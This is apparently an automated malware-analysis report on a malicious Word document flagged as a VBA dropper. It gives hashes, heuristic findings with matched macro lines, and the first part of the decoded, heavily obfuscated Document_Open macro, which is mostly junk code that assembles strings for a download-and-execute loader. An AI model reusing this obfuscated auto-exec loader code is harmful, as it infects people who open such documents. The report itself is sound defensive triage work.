Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 36b68ef9f8102c8e…

MALICIOUS

Office (OLE)

280.0 KB Created: 2018-09-06 05:13:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: d8309e8f6b25fb64124318ec0aee2e07 SHA-1: 8034f9de1770c4e9f3a0c4e2f5789304d0f5d1cf SHA-256: 36b68ef9f8102c8e02865048dbf9ac27359b338cdbbe17adefe8a893751b9cc3
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros within this document are designed to download a file from a URL and save it to disk. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic further suggests that this download is part of an obfuscated loader mechanism, likely to execute a second-stage payload. The presence of VBA macros and the download/execute behavior strongly suggest a dropper functionality.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-7084230-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7084230-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        taMuKoc = BefAUy.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set LAjJOpw = GetObject(Xnrbht)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set BefAUy = CreateObject(iwuGKGfB("Mrb?iPF cWHirrR[ohs sp  o $#fKs#tw ].FM X?TOMxhkL QWHppiTNJ TfXLPErS"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set LAjJOpw = GetObject(Xnrbht)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        OQLTyr = Environ(iwuGKGfB("TYI@e   m$[wp. p"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 143258 bytes
SHA-256: 5fc3f6b124a5c49d9b88e87d23b91eb1267507c6920cfea7158af7d8ec3a9a27
Detection
ClamAV: No threats found
Obfuscation or payload: likely
670 of 1096 identifiers look randomly generated (e.g. 'SgFftLsZvbjgkFSkD') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    For iIYRPz = 0 To 4
        For CjwhMC = 0 To 8
            wJvlgawrld = 1367 - 1853 - 871
            hvhjMb = 561 + 1624 + 165
        Next CjwhMC

        IfhLqyuHHgkV = StrReverse("v !Wbv ]okQ]y%")
        wJvlgawrld = RTrim("M  ] ZkT #[W&tY!w")
        aTHqC = Right("h&O r X# %Lc&", 2)
        IfhLqyuHHgkV = LTrim(" @NANH PA WPX ")
        IfhLqyuHHgkV = Left("K QB)GX BF", 4)
        IfhLqyuHHgkV = Right(" G f c_ ^ No#Y", 5)
        aTHqC = 1432 + 504 + 905
        hvhjMb = LTrim(" -S Zl kySSJP%Hv UwD")
        lOSxBGDMNnX = LTrim("akN  fwfLu.)s Kbv wq")
    Next iIYRPz

    While EjQgGw < 3
        For zRdACT = 0 To 6
            lOSxBGDMNnX = Right(".r Iz H@reGo^ NpM", 2)
            hvhjMb = Right("MXgCLDur  n   Pn K]", 5)
            wJvlgawrld = StrReverse("s#AFodFjQA  VSyP  Q")
            hvhjMb = "[z  ^JmLzo?M %vq" + " jfv   l[K$dBFS " + "N?v& CGsE !# XY"
            aTHqC = Space(15)
        Next zRdACT

        hvhjMb = RTrim("J EVe I ( iqcYy")
        aTHqC = StrReverse("Z m aDgK o xH! ")
        wJvlgawrld = 1588 + 1770 + 1887
        aTHqC = Left("c d sMdfgaTWOn ", 2)
        aTHqC = Left("NQ)  ZeS@  a$r", 3)
        aTHqC = Right("   l_SVqRmvc us.  ", 3)
        lOSxBGDMNnX = Space(8)
        aTHqC = Right("!^ -cxq  w i (]P", 3)
        EjQgGw = EjQgGw + 3
    Wend

    For BohNct = 0 To 5
        While XOSRNH < 1
            IfhLqyuHHgkV = 1071 + 1208 + 465
            IfhLqyuHHgkV = 1503 + 500 + 1169
            IfhLqyuHHgkV = UCase("VXXnqu.#(_oi q")
            aTHqC = RTrim("o l ^k pE b ")
            hvhjMb = "f  xhK&HA z$Rto" + " s a$ ?w &z  " + "GBg# JRrlt I- SynDX"
            XOSRNH = XOSRNH + 2
        Wend

        IfhLqyuHHgkV = Left("@ p dWmCF M UeV?]F", 2)
        lOSxBGDMNnX = UCase("CX (   ?auOcW z-ZXG ")
        lOSxBGDMNnX = 1548 - 1948 - 1245
        aTHqC = 1897 + 534 + 785
        wJvlgawrld = LTrim("J Y Fdvv@& Edf U")
        lOSxBGDMNnX = 1981 - 818 - 1735
        wJvlgawrld = UCase("ZYyYL%]CcVH  ")
        wJvlgawrld = LTrim(" Q    T & q")
    Next BohNct

    While qErmep < 2
        IfhLqyuHHgkV = UCase(" #w% w@ f yY.P   Q")
        IfhLqyuHHgkV = 1548 - 644 - 1345
        hvhjMb = RTrim("U% L@k IR$ Oxk XU")
        IfhLqyuHHgkV = RTrim("Hg _S$ S ^]")
        qErmep = qErmep + 3
    Wend

    wJvlgawrld = Right("O Q&lfMraB$.u", 4)
    wJvlgawrld = "O]eLAG Oxc sJ " + "AP? -Wb p C  lUj@ " + "i   pjybZo"
    aTHqC = UCase("&z g C j J-  Kkw m")
    For hBnYWS = 0 To 5
        For nZToUt = 0 To 5
            IfhLqyuHHgkV = LTrim("tU q!D pPfP-XQ_]G")
            lOSxBGDMNnX = 1028 - 973 - 118
            aTHqC = "bd  [ #%)EJ]DKHX#" + "MmG_yRX ]zXNstNo  " + "qeb ge CE.kV&.B[C"
            aTHqC = RTrim("k MA IGAft hj ")
            wJvlgawrld = Right("Y  NW La[hHy", 4)
            IfhLqyuHHgkV = "d   d_qAYe tXi%usngx" + " H  pr)ABm n yncY   " + "Lb  f   C "
            IfhLqyuHHgkV = Right(" [lm f$X   .", 2)
        Next nZToUt

        hvhjMb = LTrim("(  u@[T#qF  &")
        hvhjMb = 171 + 1723 + 400
        wJvlgawrld = UCase(" aln& )xdwF ")
    Next hBnYWS

    hvhjMb = 1449 + 1608 + 1644
    hvhjMb = StrReverse(" ]  y-mo[ vq   r")
    lOSxBGDMNnX = Space(8)
    aTHqC = Space(4)
    lOSxBGDMNnX = RTrim("j)    Xo   ?BNZ ")
    IfhLqyuHHgkV = Space(18)
    For gmTClW = 0 To 4
        While DqjaFu < 5
            IfhLqyuHHgkV = 541 + 1911 + 1627
            lOSxBGDMNnX = Left(" R-StIz( @?Fxf  XEb ", 4)
            IfhLqyuHHgkV = StrReverse("-u%jCKd rc")
            aTHqC = Right("y #r!juHW$.gBRi ", 4)
            wJvlgawrld = UCase("NyOj   C)E Pp(y h")
            hvhjMb = 1178 + 855 + 1160
            aTHqC = UCase("tf )K he$W q Y  ")
            DqjaFu = DqjaFu + 2
        Wend

        aTHqC = Left("tsc- ?d MC m j V w s", 4)
        wJvlgawrld = StrReverse("S[   mdJ o$ou  QkPru")
        aTHqC = " #K c$ k^$Y  N(bA" + "   [ tWT SI zL Mm" + "fo  pO] #k"
        hvhjMb = Right("LT?&&T ^L ", 2)
        hvhjMb = 1005 + 1895 + 414
        lOSxBGDMNnX = Right("KH Y  cv&  A ^  ", 3)
        hvhjMb = Right("w SqbSQf x D", 4)
        wJvlgawrld = RTrim("c h ( ^S iHTv)OpgQg")
        hvhjMb = Space(9)
    Next gmTClW

    aTHqC = 462 - 1259 - 1945
    While DICdyF < 4
        IfhLqyuHHgkV = 332 + 683 + 1308
        lOSxBGDMNnX = UCase("Gc(P$T F qX")
        lOSxBGDMNnX = StrReverse("un [I#ERCX  Ya UA")
        wJvlgawrld = "K Se DW!    mXCrl" + " hS.pcbml wj ) " + "Y[LIQ pjb_ "
        lOSxBGDMNnX = StrReverse("KJ w?u&lw[ GlOmX&J [")
        wJvlgawrld = RTrim("B (aJ  S   .")
        aTHqC = Space(2)
        lOSxBGDMNnX = Space(5)
        DICdyF = DICdyF + 3
    Wend

    aTHqC = 358 - 1254 - 901
    IfhLqyuHHgkV = Space(5)
    aTHqC = Right("eK  WmOaTA) iY EtOYT", 5)
    For BTIEnn = 0 To 3
        For SclIlq = 0 To 9
            aTHqC = Right(" K u S&YRwvh c eS.A", 5)
            wJvlgawrld = "xq#CWBcq)  Hi  " + "P &(TV M&r X" + " x?b wtpR  O))N%j_ ?"
            aTHqC = 1488 + 462 + 427
        Next SclIlq

        wJvlgawrld = Space(12)
        lOSxBGDMNnX = Left("tLgXx Wqlic", 2)
    Next BTIEnn

    While yJrQhR < 3
        hvhjMb = 136 + 1673 + 1662
        hvhjMb = Left("]d!NhnK^w]d", 3)
        aTHqC = 237 - 1110 - 481
        IfhLqyuHHgkV = LTrim("mkan c  uLu")
        hvhjMb = StrReverse(" T j fUpGty g")
        lOSxBGDMNnX = LTrim("N u u)E!gYoC^^!L F")
        aTHqC = LTrim("uj -eUiEtTe")
        IfhLqyuHHgkV = StrReverse(" SE Kh[yF@cAkN% & ")
        aTHqC = Left("uz ec @ njJ", 4)
        yJrQhR = yJrQhR + 3
    Wend

    aTHqC = LTrim("h] ! K w(b TZ")
    wJvlgawrld = RTrim("mEMwZIuVbO  ")
    wJvlgawrld = 1853 + 200 + 802
    IfhLqyuHHgkV = StrReverse("YokSE^s C Dtz m%d")
    aTHqC = Left(" _$N  f_rm   KRI", 5)
    wJvlgawrld = Space(16)
    wJvlgawrld = LTrim("vwG.e)VJPyVzSr ")
    While FgTjCl < 1
        IfhLqyuHHgkV = LTrim("!R_jGtAT D")
        wJvlgawrld = Right("G]bs dFB U", 5)
        hvhjMb = Right("%V[%   _WK $ ", 4)
        aTHqC = UCase("i-  nF Z  ")
        aTHqC = 951 + 534 + 182
        FgTjCl = FgTjCl + 2
    Wend

LRTNFmb "TKoqyYoVog", "DhGjPX", "ekdVmbgMH", "UnGJHdSVw", "eXFUWwlTr"
    OQLTyr = Environ(iwuGKGfB("TYI@e   m$[wp. p"))
    hvhjMb = UCase("h k - M.U uS ] O wm")
    hvhjMb = Right("   keqSQ^ps!&Rgau", 4)
    wJvlgawrld = Space(5)
    wJvlgawrld = "Nv  CkkcJD# (%RK" + "#vSuUt %f? " + "Q $M$TaLEe"
    Dim cQcOAV As String
    aTHqC = UCase(" @gLwvUD& ")
    IfhLqyuHHgkV = RTrim(" -r D Y(ng$n&^p$(  u")
    aTHqC = 948 - 1221 - 1736
    For CprLth = 0 To 5
        While VATWgc < 4
            aTHqC = LTrim(" ]@IPcRTPMi   MG  r#")
            wJvlgawrld = "Y  bvHbE#A@" + "  z?W Zpkhu" + " @yyNw ?(I-YT ?Wko"
            hvhjMb = Space(12)
            IfhLqyuHHgkV = StrReverse("ov Fb W DB&MDX_  ")
            hvhjMb = Right(" U EPs^P hBe ", 2)
            hvhjMb = Space(15)
            wJvlgawrld = StrReverse("EMX  OkyfB  @   Dg!?")
            hvhjMb = Left("Xy%mLjv- [LJm$?_", 5)
            aTHqC = Space(12)
            hvhjMb = 997 - 1176 - 736
            VATWgc = VATWgc + 3
        Wend

        hvhjMb = Right("Cy#oldKo_A", 2)
        hvhjMb = Space(17)
    Next CprLth

    For XEtKpF = 0 To 10
        lOSxBGDMNnX = Left("B#nqYYs--P", 3)
        wJvlgawrld = 1384 - 1934 - 1053
        aTHqC = 269 + 355 + 1462
    Next XEtKpF

    lOSxBGDMNnX = StrReverse("MN. pWzTj@l")
    While KHCqQR < 3
        aTHqC = "oid g[iZ(f" + " l ya-? B .a  C" + "Aoj o dJaH cpJ]"
        wJvlgawrld = Right("S^ g KYY v  @n  LSeJ", 2)
        IfhLqyuHHgkV = RTrim("gWCbq M N$Fl")
        aTHqC = RTrim("qHdrVwKzgv")
        aTHqC = Right("xyFB    G %V  K bPq", 4)
        aTHqC = 226 - 1228 - 1263
        wJvlgawrld = StrReverse("xGzv@S K g")
        KHCqQR = KHCqQR + 1
    Wend

    For BeGOLH = 0 To 5
        wJvlgawrld = 587 + 1996 + 243
        IfhLqyuHHgkV = Left("yK$SbN C ]w K", 4)
        lOSxBGDMNnX = 1714 + 323 + 822
        hvhjMb = UCase("jBN_E  @nBBGdGD #")
        IfhLqyuHHgkV = Left(" )Qp PRteuXwK ", 3)
    Next BeGOLH

    cQcOAV = "FoGUO"
    aTHqC = 1304 + 699 + 1876
    lOSxBGDMNnX = Right(" y)  u@- E On V", 4)
    While kuvLiX < 2
        wJvlgawrld = UCase("K?tWK)akx L (TS")
        lOSxBGDMNnX = 201 - 1624 - 676
        kuvLiX = kuvLiX + 1
    Wend

    lOSxBGDMNnX = 1900 + 1004 + 668
    While tjsPdE < 5
        For tUWcUi = 0 To 8
            IfhLqyuHHgkV = Space(12)
            wJvlgawrld = UCase("dI.GG  V r]UD YkZ")
            wJvlgawrld = LTrim("B D  @UIF-  D#S  j.A")
            lOSxBGDMNnX = Right("(SgFftLsZvbjgkFSkD!Q", 2)
        Next tUWcUi

        lOSxBGDMNnX = StrReverse("Y&  rn  nme")
        IfhLqyuHHgkV = LTrim("LsrC  R(j  i yqtnz ")
        wJvlgawrld = LTrim(" %JF^wKM %X(?lxt& ?$")
        tjsPdE = tjsPdE + 3
    Wend

    wJvlgawrld = "? ]WU iU mQXTCz" + "$wVGyUW^P?VZHZHM xX" + "ZmqQj(#i!ckz_"
    While TWXTHX < 1
        For KTDIoO = 0 To 8
            lOSxBGDMNnX = Right("iQvf N!j_.^", 3)
            aTHqC = 1817 + 1378 + 480
            IfhLqyuHHgkV = 624 - 157 - 1590
        Next KTDIoO

        aTHqC = Right(" A  E  RCv!", 2)
        IfhLqyuHHgkV = LTrim(" o # F   A")
        wJvlgawrld = 1829 + 1659 + 1381
        lOSxBGDMNnX = UCase("g^Srg-i mB$ZR")
        wJvlgawrld = Space(15)
        wJvlgawrld = LTrim("Z$nDvj ae!B ")
        lOSxBGDMNnX = 979 + 311 + 1208
        lOSxBGDMNnX = RTrim("FPrYT$u b.")
        TWXTHX = TWXTHX + 1
    Wend

    lOSxBGDMNnX = "h - ) SNZt&" + "kYr^]dZwLWk )i V" + " BfC]tzSea"
    cQcOAV = cQcOAV + " ]wL?"
    IfhLqyuHHgkV = Right("sg-G ^&q     ", 2)
    lOSxBGDMNnX = LTrim("   x% n-md")
    hvhjMb = RTrim("jcD)^aA)  ZxuZk vvt")
    For OciHTJ = 0 To 4
        For YSlIeh = 0 To 9
            wJvlgawrld = RTrim("vo  q  [ CfCtq #")
            aTHqC = StrReverse("c!ynf sCTpN qeZWYd?-")
        Next YSlIeh

        lOSxBGDMNnX = LTrim("ds_ BFA V[o")
        IfhLqyuHHgkV = 787 - 1383 - 101
    Next OciHTJ

    For InQDOl = 0 To 2
        For GotwHK = 0 To 10
            aTHqC = " of)vt V Gc)" + "e&zJ.!vHTWFS$)i" + "I T@kjg_ G^XT#n"
            lOSxBGDMNnX = "I?(w$BO kiM CG" + "?aULi@ph? _xtZa EM!y" + "H?Vv   ]  gL%"
            IfhLqyuHHgkV = 1662 - 254 - 1725
        Next GotwHK

        lOSxBGDMNnX = RTrim("(g zL!nI%ttc M  d")
        IfhLqyuHHgkV = LTrim(" c)bF w  b")
        lOSxBGDMNnX = " !K Ej $LC _Z R RLcZ" + " caJ  ] $IlT f-" + " E% -sHqQ M"
        IfhLqyuHHgkV = UCase(" ] Rd Sr G S  Cc ")
    Next InQDOl

    lOSxBGDMNnX = " .DuTAj fE^^" + "UI@X  qO( MJw !M" + "%z % b D Dng"
    cQcOAV = cQcOAV + "seDvh"
    For BpVsYw = 0 To 1
        For wpOfDM = 0 To 6
            wJvlgawrld = StrReverse(" ci?   T  A")
            wJvlgawrld = Space(10)
            wJvlgawrld = LTrim("O  K^ol_ fx l")
            hvhjMb = RTrim("nvq? g YG.s HC")
            aTHqC = LTrim(" X^[A^w  e  B")
            lOSxBGDMNnX = Space(20)
            IfhLqyuHHgkV = "K?EF  r( IGec" + ". Ada r R(d R  T" + ")&qn@%c)F&u VwO$"
            aTHqC = Space(14)
            aTHqC = RTrim("MTv  s_t M!LU qf$V")
        Next wpOfDM

        IfhLqyuHHgkV = LTrim("yG  S$b] fr%( ")
        wJvlgawrld = RTrim("bP% xI^ztH F-J cx ")
        hvhjMb = Left("wQiLIJpHP]   dN$_x", 2)
        IfhLqyuHHgkV = RTrim(" t  AUpEht ")
        wJvlgawrld = "PvPOF Mdrup" + "qlJmO    Op  evi[ " + "OO@ (xJqKEk a"
        lOSxBGDMNnX = LTrim("H (  !q^jKm%iP%zp O ")
        hvhjMb = 1213 + 1384 + 1353
        lOSxBGDMNnX = LTrim(" KoLH u_aenZb ")
    Next BpVsYw

    hvhjMb = UCase(" uf$  PCJ%SO!")
    hvhjMb = 1846 - 1329 - 320
    For AlnrtT = 0 To 10
        hvhjMb = StrReverse("Zx_oFvJ o)@z- q. JO")
        aTHqC = 1557 - 408 - 451
    Next AlnrtT

    While KoWQVE < 5
        For AISiMJ = 0 To 10
            aTHqC = Space(16)
            IfhLqyuHHgkV = UCase("q Cnip BNjCn  Zqg")
            hvhjMb = Right("R w LRj N _ H#x_ ", 4)
            IfhLqyuHHgkV = 499 + 1665 + 1326
            IfhLqyuHHgkV = 1636 - 1190 - 234
            lOSxBGDMNnX = StrReverse("ik    Q w  ")
        Next AISiMJ

        IfhLqyuHHgkV = UCase("E ( ?#r#OoDTjlP)")
        aTHqC = Left("amK#^nN dU@D r", 4)
        KoWQVE = KoWQVE + 3
    Wend

    For UAXFQN = 0 To 4
        While pwtznf < 2
            hvhjMb = UCase(" aB i TI% vgT v")
            lOSxBGDMNnX = UCase("CQ !oJI j?! ZCHSEep")
            hvhjMb = 450 + 452 + 253
            lOSxBGDMNnX = Right("w nGxl u  U", 5)
            hvhjMb = Space(9)
            IfhLqyuHHgkV = 1107 - 918 - 1066
            wJvlgawrld = Space(4)
            pwtznf = pwtznf + 2
        Wend

        hvhjMb = Right(" Gr&?.joY_wDhF KpRD", 3)
        lOSxBGDMNnX = LTrim("  lHOd-K  ")
        wJvlgawrld = RTrim(" #M E . u br@eT")
        hvhjMb = "IO-Q)   D zyY# RC cc" + " c o Ci _]x  " + "uYFd$xT TH"
        lOSxBGDMNnX = LTrim("  K R YL?nBbrq n")
    Next UAXFQN

    lOSxBGDMNnX = Right("p?  ^iJ   ", 3)
    wJvlgawrld = LTrim(" znYyDl_QW i)r yH")
    lOSxBGDMNnX = UCase("IkkA   qR.C  b uKx")
    cQcOAV = cQcOAV + "hE uM"
    IfhLqyuHHgkV = StrReverse("[ _oNt@Yk  zzF")
    IfhLqyuHHgkV = Space(20)
    For BZaPMR = 0 To 5
        For jGXupQ = 0 To 8
            lOSxBGDMNnX = "$xmeL)  @wE Os" + "lmU) h^ IV  g WG gVv" + "kSo vFDLij k   "
            wJvlgawrld = Space(17)
            aTHqC = Left(" s  g)w  Q", 4)
            lOSxBGDMNnX = "MH_ .w   vH .&" + " kIJB  ( QF_#upC" + "yQ QPWAFy@ KJ%%H"
            IfhLqyuHHgkV = StrReverse("ZKmluLk AyR& ")
            wJvlgawrld = Left("Wpr#_  i]SPc#Q ", 2)
            wJvlgawrld = Space(3)
        Next jGXupQ

        wJvlgawrld = Left("u& G?Bao! b Qe  ", 5)
        IfhLqyuHHgkV = RTrim(" Gvfb gJ $t q-oLI")
        wJvlgawrld = UCase("?O # K CM   ")
        IfhLqyuHHgkV = 1270 - 1913 - 1380
        hvhjMb = Left("Oh gpZJY(W  u", 4)
        aTHqC = RTrim("fG WZ  )xcMo U  Cs")
    Next BZaPMR

    aTHqC = 923 + 499 + 1097
    lOSxBGDMNnX = 436 - 1644 - 1314
    hvhjMb = LTrim("m- iRbAZ) O ")
    While QfyyEE < 1
        While vkzims < 2
            lOSxBGDMNnX = StrReverse("qpFIhR$RgW )")
            IfhLqyuHHgkV = Space(19)
            aTHqC = Right("EpVL@mhro ", 2)
            wJvlgawrld = "#s  f    p %ly-" + "yCaIZHmfw p" + "[ _JVO   . @d_w."
            hvhjMb = 1778 - 1176 - 1619
            hvhjMb = "VF Gmub g " + "  yW hvTL#SliA$bL" + "V[B DpuvL ^ xD GZ"
            hvhjMb = Left("O R  PDBIKnj", 3)
            hvhjMb = Space(6)
            wJvlgawrld = StrReverse("Y)^rU@bP.&]M FAVwPu ")
            vkzims = vkzims + 1
        Wend

        wJvlgawrld = Left("   u-UR_aYrX Js$@", 3)
        hvhjMb = LTrim("@^dG e!JhVFq")
        wJvlgawrld = 683 - 327 - 1377
        hvhjMb = RTrim("LX!% Uj e] f")
        wJvlgawrld = LTrim("XW&  ]Zn! SZ]uYqe?mj")
        wJvlgawrld = Right(" ]q U IQzM v", 5)
        hvhjMb = Space(10)
        wJvlgawrld = "%FCpMahKZLCe) H" + "!s$N eBeL YWh]x$    " + "Siz wQSJnc  V eRx "
        hvhjMb = StrReverse("Q i  uz s  ")
        QfyyEE = QfyyEE + 2
    Wend

    aTHqC = Right(" fH$HNq$tc$  ]", 3)
    While YAwufj < 5
        While aJVYgQ < 3
            IfhLqyuHHgkV = StrReverse("Xz  hB$y %fKB eFspd ")
            aTHqC = 409 - 201 - 508
            aTHqC = LTrim("M #Te uL  oM ")
            hvhjMb = RTrim(")T f wrP  a c.xZM%Kf")
            IfhLqyuHHgkV = StrReverse("%J $Z?Pa zX!Zn%TY a")
            hvhjMb = 1311 - 146 - 1243
            hvhjMb = UCase("BPl I-D& t %j")
            IfhLqyuHHgkV = Right("] bN RiVHCPYWRT  c", 5)
            lOSxBGDMNnX = 1591 - 1672 - 1450
            lOSxBGDMNnX = Right(" u.r^y CXl ", 4)
            aJVYgQ = aJVYgQ + 1
        Wend

        wJvlgawrld = Left("iaI-E jjToq.X", 4)
        lOSxBGDMNnX = UCase("  Ht s llKhs")
        lOSxBGDMNnX = Right(" fv[TQtZyDKDJIw(o SJ", 5)
        hvhjMb = RTrim("^HS AJ  zh%on ")
        lOSxBGDMNnX = 1074 + 275 + 163
        wJvlgawrld = LTrim(" s?KTFKDV? o")
        hvhjMb = Left("SRSoQ   R  bE", 4)
        YAwufj = YAwufj + 3
    Wend

    While CHBtHY < 2
        For NNqKsT = 0 To 10
            aTHqC = StrReverse("htp([BQIuoofQ$mV")
            wJvlgawrld = StrReverse("v! Sw d[s  T")
            lOSxBGDMNnX = StrReverse("GD&o)K&vefXUA# F-l")
            lOSxBGDMNnX = RTrim(" SdlWx O  J")
            wJvlgawrld = 428 - 252 - 957
            IfhLqyuHHgkV = RTrim("-w#nb _[Tw bWbA&_ ")
            lOSxBGDMNnX = LTrim("b.kk Wj w$G J ")
            aTHqC = RTrim("veM O  $ Q Q- p mf-")
            aTHqC = UCase("cB Q% n . np-Szq w#")
            lOSxBGDMNnX = Left("GG  (dfGPXsvVf", 3)
        Next NNqKsT

        aTHqC = 1299 - 112 - 253
        aTHqC = Left("?%R Xg-ZCq]]) gQ- ", 3)
        hvhjMb = StrReverse("]@ LFfSOQ]FQi DjkhY")
        lOSxBGDMNnX = RTrim("Yun Me A^ & #]aa-")
        IfhLqyuHHgkV = Right("g Y sbp@ .eU I Jkp ", 2)
        lOSxBGDMNnX = Left("m (    @  ", 2)
        IfhLqyuHHgkV = 344 + 639 + 645
        wJvlgawrld = 1926 - 1642 - 1378
        hvhjMb = LTrim("tx nhS)Wp Q")
        aTHqC = LTrim("$  H wreUr # ITQTii")
        CHBtHY = CHBtHY + 2
    Wend

    cQcOAV = cQcOAV + "R o \"
    IfhLqyuHHgkV = Space(13)
    lOSxBGDMNnX = Left("^-  BP  k-at@kXL", 4)
    For vgJbTw = 0 To 8
        hvhjMb = StrReverse("Ksl@mc-W Z.xO^")
        hvhjMb = 549 + 980 + 1930
        IfhLqyuHHgkV = LTrim("Hy   PC^ nsh   !F-")
        IfhLqyuHHgkV = LTrim("$Bx%qo wHLL_ _ T")
        aTHqC = Space(6)
        wJvlgawrld = Space(18)
        aTHqC = ".S YRKHCG#-W?(x&V" + " F  -]u&t " + "%cYJ vdbd  xHw"
    Next vgJbTw

    hvhjMb = StrReverse(" Z@  yn $V  - ")
    While iyfUXB < 1
        hvhjMb = Space(10)
        wJvlgawrld = 1196 + 559 + 1248
        lOSxBGDMNnX = LTrim(" Dn  aCg [   k ")
        aTHqC = StrReverse("c    HN Xn u&okI")
        wJvlgawrld = Left("tGE$N^Q.gW#", 5)
        iyfUXB = iyfUXB + 3
    Wend

    cQcOAV = cQcOAV + " SNAs"
    wJvlgawrld = Right("^ d]jJA#_&DQ!", 4)
    hvhjMb = LTrim("b]g ]  k _ E !l")
    lOSxBGDMNnX = Space(18)
    aTHqC = LTrim("BYdzuU hW i ")
    wJvlgawrld = Space(6)
    wJvlgawrld = RTrim(" t S YECT HH")
    lOSxBGDMNnX = Right("bYtj jx  V", 3)
    cQcOAV = cQcOAV + " FG  "
    aTHqC = 1497 - 1908 - 1639
    lOSxBGDMNnX = 1506 - 271 - 1917
    lOSxBGDMNnX = Space(11)
    wJvlgawrld = "U#d  nzim##jMFX ]L?V" + "P[Hvc H x# rHR " + " s_T  mFWn "
    wJvlgawrld = LTrim(" mXlPe  B([ ?zqm")
    cQcOAV = cQcOAV + " t)$g"
    IfhLqyuHHgkV = UCase("@ f^d]] U^SKd [ci")
    lOSxBGDMNnX = StrReverse("vVd$@J$Z^ P ")
    While TbwiMA < 1
        For JJEIqs = 0 To 5
            IfhLqyuHHgkV = LTrim("#U @m]_ spF^Z")
            hvhjMb = Left("Kn  ncnEfwU Jq&  ", 4)
            wJvlgawrld = 1959 + 180 + 864
            hvhjMb = 365 + 729 + 1738
            aTHqC = RTrim("iN_rrzxr&L nh  uV V")
            hvhjMb = UCase("Oi@-  X uw")
            aTHqC = UCase("dI w Iv]r $w  #")
            lOSxBGDMNnX = LTrim(" f@ XJI.GS&Rsvt[#b  ")
        Next JJEIqs

        IfhLqyuHHgkV = Right("-Vu Ad  aqs Td", 5)
        hvhjMb = Right("]f@e(I  oqBA", 3)
        aTHqC = StrReverse("!r?O( M@j E )d   ")
        IfhLqyuHHgkV = StrReverse(" EZiYHw w[")
        aTHqC = Right(" FWaEN$Lr ", 4)
        aTHqC = LTrim("!@ pYbHnr  ")
        IfhLqyuHHgkV = LTrim("t$UeGOV]FmIcKP")
        aTHqC = "J  uxv  o#" + "[je  _Ha&lM# l  (g" + "bzw j[nrEL!FMB."
        aTHqC = Space(13)
        TbwiMA = TbwiMA + 1
    Wend

    While sHEQru < 3
        While ROusOr < 5
            IfhLqyuHHgkV = ")WT!E YgE]nB" + "eYm KQkJh " + " $TAd XJ- G KZB $qg "
            lOSxBGDMNnX = LTrim("vb?JQ B  ?g XVi%")
            hvhjMb = StrReverse("q pbsj %azlF#i(v JX")
            IfhLqyuHHgkV = Right("U B x jF!t", 3)
            lOSxBGDMNnX = 1490 + 1631 + 1162
            wJvlgawrld = Right("Q   #m t-D ^y? SE", 4)
            hvhjMb = 1150 + 463 + 860
            aTHqC = Left("!  r$ dlT @b", 4)
            lOSxBGDMNnX = 500 - 780 - 1447
            ROusOr = ROusOr + 3
        Wend

        hvhjMb = 1292 - 1724 - 635
        aTHqC = Right("  hT$SEsWdBqz", 3)
        lOSxBGDMNnX = Space(3)
        sHEQru = sHEQru + 3
    Wend

    hvhjMb = Space(20)
    cQcOAV = cQcOAV + "BvRzY"
    wJvlgawrld = UCase("yxEXvS   $mx]")
    wJvlgawrld = 812 + 162 + 117
    IfhLqyuHHgkV = " C uer]h l" + "W?NtN  lDH[#b." + "[.T E_iCgGg RQ"
    While zdAdCi < 3
        IfhLqyuHHgkV = "T Y vpK -h" + "ocFp])]TW zeZ#o e " + " EU  W  Dt a^ q WLt"
        wJvlgawrld = Space(13)
        wJvlgawrld = Space(4)
        lOSxBGDMNnX = 1704 - 1572 - 1882
        lOSxBGDMNnX = Left("V q LJi_    !e", 2)
        zdAdCi = zdAdCi + 1
    Wend

    lOSxBGDMNnX = Right("^Z I.Zx CX xU", 2)
    hvhjMb = StrReverse("z]yKB-XWv%SQ-.O ")
    lOSxBGDMNnX = 747 + 967 + 734
    cQcOAV = cQcOAV + "-  e^"
    wJvlgawrld = Space(14)
